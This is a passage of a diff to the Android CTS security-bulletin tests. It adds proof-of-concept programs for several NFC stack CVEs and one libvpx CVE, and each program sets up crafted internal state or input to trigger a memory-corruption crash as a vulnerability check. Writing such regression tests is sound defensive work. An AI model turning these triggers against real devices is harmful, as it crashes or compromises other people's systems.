*)GKI_getpoolbuf(NFC_RW_POOL_ID); + uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES); + memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK)); + uint8_t data[T2T_READ_DATA_LEN]; + isTestInProgress = true; + rw_t2t_handle_rsp(data); + isTestInProgress = false; + return EXIT_SUCCESS; } diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp new file mode 100644 index 00000000000..78f51bd2e4a --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp @@ -0,0 +1,42 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +cc_test { + name: "CVE-2019-2012", + defaults: ["cts_hostsidetests_securitybulletin_defaults"], + srcs: [ + "poc.cpp", + ":cts_hostsidetests_securitybulletin_memutils", + ], + compile_multilib: "64", + include_dirs: [ + "system/nfc/src/nfc/include", + "system/nfc/src/include/", + "system/nfc/src/gki/common/", + "system/nfc/src/gki/ulinux", + ], + shared_libs: [ + "libnfc-nci", + ], + cflags: [ + "-DCHECK_OVERFLOW", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp new file mode 100644 index 00000000000..97556ba9501 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp @@ -0,0 +1,175 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include <nfc_api.h> +#include <nfc_int.h> +#include <rw_int.h> +#include <stdlib.h> +#include <string.h> +#include <tags_defs.h> + +#include "../includes/common.h" + +#define T3T_MSG_FELICALITE_MC_OFFSET 0x01 + +bool testInProgress = false; + +struct sigaction new_action, old_action; + +void sigsegv_handler(int signum, siginfo_t *info, void *context) { + if (testInProgress && info->si_signo == SIGSEGV) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + exit (EXIT_FAILURE); +} + +extern tRW_CB rw_cb; +extern tNFC_CB nfc_cb; +tNFC_CONN *p_data; +void rw_init(void); +tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN], + uint8_t mrti_check, uint8_t mrti_update); + +void *allocate_memory(size_t size) { + void *ptr = malloc(size); + if (ptr) { + memset(ptr, 0x0, size); + } + return ptr; +} + +/* States */ +enum { + RW_T3T_STATE_NOT_ACTIVATED, RW_T3T_STATE_IDLE, RW_T3T_STATE_COMMAND_PENDING +}; + +/* Enumeration of API commands */ +enum { + RW_T3T_CMD_DETECT_NDEF, + RW_T3T_CMD_CHECK_NDEF, + RW_T3T_CMD_UPDATE_NDEF, + RW_T3T_CMD_CHECK, + RW_T3T_CMD_UPDATE, + RW_T3T_CMD_SEND_RAW_FRAME, + RW_T3T_CMD_GET_SYSTEM_CODES, + RW_T3T_CMD_FORMAT, + RW_T3T_CMD_SET_READ_ONLY_SOFT, + RW_T3T_CMD_SET_READ_ONLY_HARD, + RW_T3T_CMD_MAX +}; + +/* Sub-states */ +enum { + /* Sub states for formatting Felica-Lite */ + RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for + formatting) */ + RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl) + block-read to complete */ + RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl) + block-write to complete */ + RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write + to complete */ + /* Sub states for setting Felica-Lite read only */ + RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for + setting read only) */ + RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write + to complete */ + RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl) + block-read to complete */ + RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl) + block-write to complete */ +}; + +enum { + P_MC_VAL = !T3T_MSG_FELICALITE_MC_OFFSET +}; + +void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) { + (void) event; + (void) p_rw_data; +} + +void GKI_freebuf(void* p_buf __attribute__((unused))) { +} + +void GKI_start_timer(uint8_t, int32_t, bool) { +} + +void GKI_stop_timer(uint8_t) { +} + +void exit_handler(void) { + if (p_data) { + if (p_data->data.p_data) { + free(p_data->data.p_data); + p_data->data.p_data = nullptr; + } + free(p_data); + p_data = nullptr; + } +} + +int main() { + atexit(exit_handler); + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigsegv_handler; + sigaction(SIGSEGV, &new_action, &old_action); + + tNFC_ACTIVATE_DEVT p_activate_params = { }; + p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; + p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; + RW_SetActivatedTagType(&p_activate_params, &poc_cback); + FAIL_CHECK(rw_cb.p_cback == &poc_cback); + + tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t; + GKI_init(); + rw_init(); + + rw_cb.p_cback = &poc_cback; + uint8_t peer_nfcid2[NCI_RF_F_UID_LEN]; + uint8_t mrti_check = 1, mrti_update = 1; + FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == NFC_STATUS_OK); + + p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN)); + FAIL_CHECK(p_data); + + p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4); + FAIL_CHECK(p_data->data.p_data); + + p_data->status = NFC_STATUS_OK; + p_t3t->cur_cmd = RW_T3T_CMD_FORMAT; + p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING; + p_t3t->rw_substate = RW_T3T_FMT_SST_CHECK_MC_BLK; + NFC_HDR *p_msg = (p_data->data).p_data; + p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN; + uint8_t *p_t3t_rsp = (uint8_t *) (p_msg + 1) + (p_msg->offset + 1); + p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP; + p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK; + uint8_t *p_mc = &p_t3t_rsp[T3T_MSG_RSP_OFFSET_CHECK_DATA]; + p_mc[T3T_MSG_FELICALITE_MC_OFFSET_SYS_OP] = P_MC_VAL; + tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID]; + tNFC_CONN_EVT event = NFC_DATA_CEVT; + memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM], + NCI_NFCID2_LEN); + + testInProgress = true; + p_cb->p_cback(0, event, p_data); + testInProgress = false; + + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp new file mode 100644 index 00000000000..5dac7f7abc3 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +cc_test { + name: "CVE-2019-2017", + defaults: ["cts_hostsidetests_securitybulletin_defaults"], + srcs: [ + "poc.cpp", + ], + compile_multilib: "64", + shared_libs: [ + "libnfc-nci", + ], + include_dirs: [ + "system/nfc/src/nfc/include", + "system/nfc/src/gki/common", + "system/nfc/src/gki/ulinux", + "system/nfc/src/include", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp new file mode 100644 index 00000000000..9ecc457f143 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp @@ -0,0 +1,73 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include <rw_int.h> +#include <stdlib.h> +#include "../includes/common.h" + +bool testInProgress = false; +struct sigaction new_action, old_action; +void sigabrt_handler(int signum, siginfo_t *info, void *context) { + if (testInProgress && info->si_signo == SIGABRT) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + exit(EXIT_FAILURE); +} + +uint8_t *p_data = nullptr; +extern tRW_CB rw_cb; + +extern void rw_t2t_handle_rsp(uint8_t *p_data); + +void poc_cback(uint8_t, tRW_DATA *) {} + +void exit_handler(void) { + if (p_data) { + free(p_data); + p_data = nullptr; + } +} + +int main() { + atexit(exit_handler); + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigabrt_handler; + sigaction(SIGABRT, &new_action, &old_action); + + tNFC_ACTIVATE_DEVT p_activate_params = {}; + p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; + p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; + FAIL_CHECK(RW_SetActivatedTagType(&p_activate_params, &poc_cback) == NFC_STATUS_OK); + FAIL_CHECK(rw_cb.p_cback == &poc_cback); + tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t; + p_t2t->state = RW_T2T_STATE_DETECT_TLV; + p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV; + p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE; + p_t2t->found_tlv = TAG_LOCK_CTRL_TLV; + p_t2t->bytes_count = 0; + p_t2t->p_cur_cmd_buf = (NFC_HDR *)GKI_getpoolbuf(NFC_RW_POOL_ID); + rw_cb.p_cback = &poc_cback; + p_data = (uint8_t *)malloc(sizeof(uint8_t)); + FAIL_CHECK(p_data); + + testInProgress = true; + rw_t2t_handle_rsp(p_data); + testInProgress = false; + + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp new file mode 100644 index 00000000000..5fdbfdba161 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +cc_test { + name: "CVE-2019-2020", + defaults: ["cts_hostsidetests_securitybulletin_defaults"], + srcs: [ + "poc.cpp", + ], + compile_multilib: "64", + shared_libs: [ + "libnfc-nci", + ], + include_dirs: [ + "system/nfc/src/nfc/include", + "system/nfc/src/gki/common", + "system/nfc/src/gki/ulinux", + "system/nfc/src/include", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp new file mode 100644 index 00000000000..ba4d950474e --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp @@ -0,0 +1,80 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include <stdlib.h> +#include "../includes/common.h" + +#include <nfc_api.h> +#include <nfc_int.h> +#include <rw_int.h> +#include <tags_defs.h> +#include <llcp_int.h> + +#define DEFAULT_SAP 1 +#define LENGTH 0 + +bool testInProgress = false; + +struct sigaction new_action, old_action; + +void sigsegv_handler(int signum, siginfo_t *info, void *context) { + if (testInProgress && info->si_signo == SIGSEGV) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + exit(EXIT_FAILURE); +} + +extern tLLCP_CB llcp_cb; +extern tRW_CB rw_cb; +extern tNFC_CB nfc_cb; + +void GKI_freebuf(void* x) { (void)x; } +void GKI_start_timer(uint8_t, int32_t, bool) {} +void GKI_stop_timer(uint8_t) {} + +void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) { + (void)event; + (void)p_rw_data; +} + +int32_t main() { + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigsegv_handler; + sigaction(SIGSEGV, &new_action, &old_action); + + tNFC_ACTIVATE_DEVT p_activate_params = {}; + p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; + p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; + RW_SetActivatedTagType(&p_activate_params, &poc_cback); + FAIL_CHECK(rw_cb.p_cback == &poc_cback); + + GKI_init(); + llcp_init(); + for (int32_t n = 0; n < LLCP_MAX_DATA_LINK; ++n) { + llcp_cb.dlcb[n].state = LLCP_DLC_STATE_CONNECTED; + llcp_cb.dlcb[n].local_sap = DEFAULT_SAP; + llcp_cb.dlcb[n].remote_sap = DEFAULT_SAP; + } + + testInProgress = true; + llcp_dlc_proc_rx_pdu(DEFAULT_SAP, LLCP_PDU_RNR_TYPE, DEFAULT_SAP, LENGTH, + nullptr); + testInProgress = false; + + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp new file mode 100644 index 00000000000..639ca9113ff --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp @@ -0,0 +1,44 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +cc_test { + name: "CVE-2019-2031", + defaults: ["cts_hostsidetests_securitybulletin_defaults"], + srcs: [ + "poc.cpp", + ":cts_hostsidetests_securitybulletin_memutils", + ], + compile_multilib: "64", + shared_libs: [ + "libnfc-nci", + "liblog", + ], + include_dirs: [ + "system/nfc/src/nfc/include", + "system/nfc/src/gki/common", + "system/nfc/src/gki/ulinux", + "system/nfc/src/include", + "system/nfc/src/nfa/include", + ], + cflags: [ + "-DCHECK_OVERFLOW", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp new file mode 100644 index 00000000000..17812370c49 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp @@ -0,0 +1,176 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include "../includes/common.h" +#include <nfc_api.h> +#include <nfc_int.h> +#include <rw_int.h> +#include <stdlib.h> +#include <string.h> +#include <tags_defs.h> + +#define T3T_MSG_FELICALITE_MC_OFFSET 0x01 + +bool testInProgress = false; + +struct sigaction new_action, old_action; + +void sigabrt_handler(int signum, siginfo_t *info, void *context) { + if (testInProgress && info->si_signo == SIGABRT) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + exit(EXIT_FAILURE); +} + +extern tRW_CB rw_cb; +extern tNFC_CB nfc_cb; +tNFC_CONN *p_data; +void rw_init(void); +tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN], + uint8_t mrti_check, uint8_t mrti_update); + +void *allocate_memory(size_t size) { + void *ptr = malloc(size); + memset(ptr, 0x0, size); + return ptr; +} + +/* States */ +enum { + RW_T3T_STATE_NOT_ACTIVATED, + RW_T3T_STATE_IDLE, + RW_T3T_STATE_COMMAND_PENDING +}; + +/* Enumeration of API commands */ +enum { + RW_T3T_CMD_DETECT_NDEF, + RW_T3T_CMD_CHECK_NDEF, + RW_T3T_CMD_UPDATE_NDEF, + RW_T3T_CMD_CHECK, + RW_T3T_CMD_UPDATE, + RW_T3T_CMD_SEND_RAW_FRAME, + RW_T3T_CMD_GET_SYSTEM_CODES, + RW_T3T_CMD_FORMAT, + RW_T3T_CMD_SET_READ_ONLY_SOFT, + RW_T3T_CMD_SET_READ_ONLY_HARD, + RW_T3T_CMD_MAX +}; + +/* Sub-states */ +enum { + /* Sub states for formatting Felica-Lite */ + RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for + formatting) */ + RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl) + block-read to complete */ + RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl) + block-write to complete */ + RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write + to complete */ + + /* Sub states for setting Felica-Lite read only */ + RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for + setting read only) */ + RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write + to complete */ + RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl) + block-read to complete */ + RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl) + block-write to complete */ +}; + +void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) { + (void)event; + (void)p_rw_data; +} + +void GKI_start_timer(uint8_t, int32_t, bool) {} + +void GKI_stop_timer(uint8_t) {} + +void GKI_freebuf(void *) {} + +void exit_handler(void) { + if (p_data) { + if (p_data->data.p_data) { + free(p_data->data.p_data); + p_data->data.p_data = nullptr; + } + free(p_data); + p_data = nullptr; + } +} + +int main() { + atexit(exit_handler); + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigabrt_handler; + sigaction(SIGABRT, &new_action, &old_action); + + tNFC_ACTIVATE_DEVT p_activate_params = {}; + p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; + p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; + RW_SetActivatedTagType(&p_activate_params, &poc_cback); + FAIL_CHECK(rw_cb.p_cback == &poc_cback); + + tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t; + + GKI_init(); + rw_init(); + rw_cb.p_cback = &poc_cback; + + uint8_t peer_nfcid2[NCI_RF_F_UID_LEN]; + uint8_t mrti_check = 1, mrti_update = 1; + FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == + NFC_STATUS_OK) + + p_data = (tNFC_CONN *)allocate_memory(sizeof(tNFC_CONN)); + FAIL_CHECK(p_data); + + p_data->data.p_data = (NFC_HDR *)allocate_memory(sizeof(NFC_HDR) * 3); + FAIL_CHECK(p_data->data.p_data); + + p_data->status = NFC_STATUS_OK; + + p_t3t->cur_cmd = RW_T3T_CMD_CHECK_NDEF; + p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING; + p_t3t->flags |= RW_T3T_FL_IS_FINAL_NDEF_SEGMENT; + p_t3t->ndef_attrib.ln = 0x000F; + + NFC_HDR *p_msg = (p_data->data).p_data; + p_msg->offset = 0; + p_msg->len = T3T_MSG_RSP_OFFSET_CHECK_DATA + 1; + + uint8_t *p_t3t_rsp = (uint8_t *)(p_msg + 1) + p_msg->offset; + p_t3t_rsp[0] = NCI_STATUS_OK; + p_t3t_rsp++; + p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP; + p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK; + p_t3t_rsp[T3T_MSG_RSP_OFFSET_NUMBLOCKS] = 0; + + tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID]; + tNFC_CONN_EVT event = NFC_DATA_CEVT; + memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM], + NCI_NFCID2_LEN); + testInProgress = true; + p_cb->p_cback(0, event, p_data); + testInProgress = false; + + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp new file mode 100644 index 00000000000..aa9a2f93e70 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp @@ -0,0 +1,42 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +cc_test { + name: "CVE-2020-0034", + defaults: ["cts_hostsidetests_securitybulletin_defaults"], + srcs: [ + "poc.cpp", + ], + compile_multilib: "32", + arch: { + arm: { + include_dirs: [ + "external/libvpx/config/arm-neon", + ], + shared_libs: [ + "libvpx", + ], + cflags: [ + "-DTEST_ARM32", + ], + }, + }, +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp new file mode 100644 index 00000000000..cc7cc22b99b --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp @@ -0,0 +1,109 @@ +/** + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +#include <stdlib.h> + +#ifdef TEST_ARM32 +#include <unistd.h> +#include "../includes/common.h" + +#include <string.h> +#include <algorithm> +#include <vector> +#include "vpx/vp8dx.h" +#include "vpx/vpx_decoder.h" +#include "vpx_ports/mem_ops.h" + +#define IVF_FILE_HDR_SZ 32 +#define IVF_FRAME_HDR_SZ (4 + 8) /* 4 byte size + 8 byte timestamp */ + +FILE *fp = nullptr; + +void exitHandler(void) { + if (fp) { + fclose(fp); + } +} + +bool testInProgress = false; +struct sigaction new_action, old_action; +void sigabrt_handler(int32_t signum, siginfo_t *info, void* context) { + if (testInProgress && info->si_signo == SIGABRT) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + _exit(EXIT_FAILURE); +} +#endif + +int32_t main(int32_t argc, char **argv) { + (void)argc; + (void)argv; + +#ifdef TEST_ARM32 + atexit(exitHandler); + + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigabrt_handler; + sigaction(SIGABRT, &new_action, &old_action); + + FAIL_CHECK(argc >= 2); + fp = fopen(argv[1], "rb"); + FAIL_CHECK(fp); + + fseek(fp, 0, SEEK_END); + size_t size = ftell(fp); + fseek(fp, 0, SEEK_SET); + FAIL_CHECK(size > IVF_FILE_HDR_SZ); + + std::vector<uint8_t> buffer(size); + FAIL_CHECK(fread((void *)buffer.data(), sizeof(uint8_t), size, fp) == size); + + vpx_codec_ctx_t codec; + vpx_codec_dec_cfg_t cfg; + memset(&cfg, 0, sizeof(vpx_codec_dec_cfg_t)); + cfg.threads = 1; + FAIL_CHECK(vpx_codec_dec_init(&codec, &vpx_codec_vp8_dx_algo, &cfg, 0) == VPX_CODEC_OK); + + uint8_t *data = buffer.data(); + data += IVF_FILE_HDR_SZ; + size -= IVF_FILE_HDR_SZ; + + while (size > IVF_FRAME_HDR_SZ) { + size_t frame_size = mem_get_le32(data); + size -= IVF_FRAME_HDR_SZ; + data += IVF_FRAME_HDR_SZ; + frame_size = std::min(size, frame_size); + + testInProgress = true; + vpx_codec_decode(&codec, data, frame_size, nullptr, 0); + testInProgress = false; + + vpx_codec_iter_t iter = nullptr; + vpx_image_t *img = nullptr; + while ((img = vpx_codec_get_frame(&codec, &iter)) != nullptr) { + if (img->d_w > img->w || img->d_h > img->h) { + return EXIT_VULNERABLE; + } + } + data += frame_size; + size -= frame_size; + } + vpx_codec_destroy(&codec); +#endif + + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp index 807b9106d1b..2a5682f8979 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp @@ -1,5 +1,5 @@ /* - * Copyright (C) 2021 The Android Open Source Project + * Copyright (C) 2022 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. @@ -14,6 +14,7 @@ * limitations under the License. * */ + package { default_applicable_licenses: ["Android-Apache-2.0"], } diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp index d6ea4462558..8249c0c344e 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp @@ -19,6 +19,16 @@ #include <nfc_api.h> #include <rw_int.h> +bool isTestInProgress = false; +struct sigaction new_action, old_action; +void sigabrt_handler(int signum, siginfo_t* info, void* context) { + if (isTestInProgress && info->si_signo == SIGABRT) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + exit(EXIT_FAILURE); +} + extern tRW_CB rw_cb; void rw_init(void); void rw_t2t_handle_rsp(uint8_t* p_data); @@ -28,6 +38,17 @@ void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) { } int main() { + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigabrt_handler; + sigaction(SIGABRT, &new_action, &old_action); + + tNFC_ACTIVATE_DEVT p_activate_params = {}; + p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; + p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; + RW_SetActivatedTagType(&p_activate_params, &poc_cback); + FAIL_CHECK(rw_cb.p_cback == &poc_cback); + tRW_T2T_CB* p_t2t = &rw_cb.tcb.t2t; rw_init(); rw_cb.p_cback = &poc_cback; @@ -38,6 +59,8 @@ int main() { p_t2t->bytes_count = 